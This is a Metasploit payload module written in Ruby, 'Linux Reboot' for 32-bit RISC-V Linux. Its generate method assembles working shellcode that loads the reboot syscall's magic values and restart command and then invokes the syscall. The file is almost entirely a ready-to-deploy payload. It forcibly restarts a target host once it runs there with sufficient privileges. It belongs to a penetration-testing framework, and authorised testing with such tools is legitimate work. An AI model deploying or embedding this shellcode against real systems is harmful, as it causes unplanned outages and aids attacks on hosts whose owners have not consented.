1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 32
8

9
  include Msf::Payload::Linux::Riscv32le::Prepends
10
  include Msf::Payload::Single
11

12
  def initialize(info = {})
13
    super(
14
      merge_info(
15
        info,
16
        'Name' => 'Linux Reboot',
17
        'Description' => %q{
18
          A very small shellcode for rebooting the system using
19
          the reboot syscall. This payload is sometimes helpful
20
          for testing purposes. Requires CAP_SYS_BOOT privileges.
21
        },
22
        'Author' => 'bcoles',
23
        'License' => MSF_LICENSE,
24
        'Platform' => 'linux',
25
        'Arch' => ARCH_RISCV32LE,
26
        'References' => [
27
          ['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
28
          ['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/reboot/reboot.s'],
29
        ]
30
      )
31
    )
32
  end
33

34
  def generate(_opts = {})
35
    shellcode =
36
      [0xfee1e537].pack('V*') + # lui   a0,0xfee1e
37
      [0xead50513].pack('V*') + # addi  a0,a0,-339
38
      [0x281225b7].pack('V*') + # lui   a1,0x2812
39
      [0x96958593].pack('V*') + # addi  a1,a1,-1687
40
      [0x01234637].pack('V*') + # lui   a2,0x1234
41
      [0x56760613].pack('V*') + # addi  a2,a2,1383
42
      [0x08e00893].pack('V*') + # li    a7,142
43
      [0x00000073].pack('V*')   # ecall
44

45
    super.to_s + shellcode
46
  end
47
end
48

49